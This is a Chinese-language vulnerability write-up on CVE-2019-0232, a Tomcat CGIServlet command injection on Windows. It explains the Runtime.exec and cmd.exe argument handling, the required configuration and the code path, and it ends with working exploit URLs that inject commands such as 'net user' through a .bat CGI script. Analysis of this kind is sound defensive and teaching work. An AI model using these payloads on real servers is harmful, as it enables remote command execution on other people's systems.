漏洞条件
- Apache Tomcat 9.0.0.M1 to 9.0.17
- Apache Tomcat 8.5.0 to 8.5.39
- Apache Tomcat 7.0.0 to 7.0.93
- Windows系统
- 开启CGIServlet
- CGI目录下存在bat文件
漏洞原理
本人认为该漏洞的核心在于JDK中runtime.getRuntime.exec()
的底层调用,Linux跟Windows的底层实现不一样,Windows会把后面所有的参数当成命令执行,以及 &
符号直接做拼接。
Windows
Windows会执行&
符号后面的命令
package org.example;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Main {
public static void main(String[] args) throws IOException {
String[] command = {"E:\\Coding\\Java\\RuntimeTest\\test.bat","&dir"};
Process p = Runtime.getRuntime().exec(command);
InputStream fis = p.getInputStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
String line = null;
while ((line=br.readLine())!=null){
System.out.println(line);
}
}
}
Linux
而Linux则直接当成参数当成参数而不是简单的拼接,可以看到ifconfig
并没有被执行。
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Main {
public static void main(String[] args) throws IOException {
String[] command = {"/Users/john/Documents/code/java/RuntimeTest/test.sh","&ls"};
Process p = Runtime.getRuntime().exec(command);
InputStream fis = p.getInputStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
String line = null;
while ((line=br.readLine())!=null){
System.out.println(line);
}
}
}
分析
导致这种输出的原因是在JDK的实现中 Runtime.getRuntime().exec
实际调用了 ProcessBuilder
,而后 ProcessBuilder
调用 ProcessImpl
使用系统调用 vfork
,把所有参数直接传递至 execve
。
用 strace -F -e vfork,execve java Main
跟踪可以看到上面的Java代码在Linux中调用为
execve("test.sh", ["test.sh", "&", "ls"], [/* 23 vars */])
而如果跟踪类似的PHP代码 system('a.sh arg & dir');
,得到的结果为
execve("/bin/sh", ["sh", "-c", "a.sh arg & dir"], [/* 23 vars */])
所以Java的 Runtime.getRuntime().exec
在CGI调用这种情况下很难有命令注入。而Windows中创建进程使用的是 CreateProcess
,会将参数合并成字符串,作为 lpComandLine
传入 CreateProcess
。程序启动后调用 GetCommandLine
获取参数,并调用 CommandLineToArgvW
传至 argv。在Windows中,当 CreateProcess
中的参数为 bat 文件或是 cmd 文件时,会调用 cmd.exe
, 故最后会变成 cmd.exe /c "test.bat & dir"
,而Java的调用过程并没有做任何的转义,所以在Windows下会存在漏洞。
通俗来讲,正常的Linux的tomcat请求中若携带的请求**a.sh?&dir
,则exec执行的时候dir
只会被当成字符串参数。但是在Windows中的的a.bat?&dir
下会被当成a.bat&dir
**进行命令执行。
漏洞调试
首先进行CGI相关的配置,在 conf/web.xml
中找到CGIServlet,把默认的注释去掉,然后再加添配置:
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
这里主要的设置是 enableCmdLineArguments
和 executable
两个选项。 enableCmdLineArguments
启用后才会将Url中的参数传递到命令行, executable
指定了执行的二进制文件,默认是 perl
,需要置为空才会执行文件本身。
同样在 conf/web.xml
中启用cgi的servlet-mapping
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
之后修改 conf/context.xml 的 <Context> 添加 privileged=”true”属性,否则会没有权限
然后在 ROOT\WEB-INF 下创建 cgi-bin 目录, 并在该目录下创建一个 bat 文件,内容随意。
上面的配置当我们访问/cgi-bin/*的时候则数据流指向org.apache.catalina.servlets.CGIServlet,因此我们先到tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中进行调试:
由于我们的PoC是GET请求的,因此先定位到doGet()
方法中:
其中这里实例化CGIRunner对象传入的cgiEnv.getCommand()
和cgiEnv.getParameters()
的值分别为传入脚本的绝对路径和后面带的参数:
然后我们跟进cgi.run()
中:
先检测路径是否合规,接着往下:
这个弄了个数组用来装命令和参数,然后下面就是送到Runtime.exec()
中执行了:
剩下的部分就是原理中的内容了。
漏洞利用
EXP:
需要输入执行程序的绝对路径并且URL编码一下
http://127.0.0.1:8080/cgi-bin/xx.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe
如果后面的命令想输入参数的话用 +
分割命令和参数即可
http://127.0.0.1:8080/cgi-bin/e.bat?&C%3a%5cWindows%5cSystem32%5cnet+user
因为在将请求req封装为CGIEnvironment对象的时候会进行一次规范化,有对参数进行URL解码以及根据+
进行分割参数的操作:
疑问
最后还有个小疑问,就是前面配置的时候提到在 conf/web.xml
中CGIServlet需要配置executable的值为空,否则就不会执行我们的命令
通过上面的调试我们可以发现,如果这里的值不为空,那么就会在执行的数组第一位添加上这个值,比如默认的情况下是这样的:
这样一来确实无法执行我们的命令,但是在我们默认的cmd中情况似乎又不一样,这里以python3为例,是能够输出两个命令结果的:
java中却只能输出第一个命令的结果:
这就又涉及到JDK执行命令的实现了,这里我们尝往Runtime.exec()
下面跟,这里调用了ProcessBuilder.start()
:
接着往ProcessBuilder.start()
跟:
最后ProcessBuilder调用了ProcessImpl.start()
执行命令,跟进,ProcessImpl.start()
内部实例化ProcessImpl类:
跟进去,最终调用了一个create()
方法:
这是个原生方法,看不到内部的实现:
这个疑惑到这里没有解开,求大哥解答
参考资料
CVE-2019-0232:Apache Tomcat RCE漏洞分析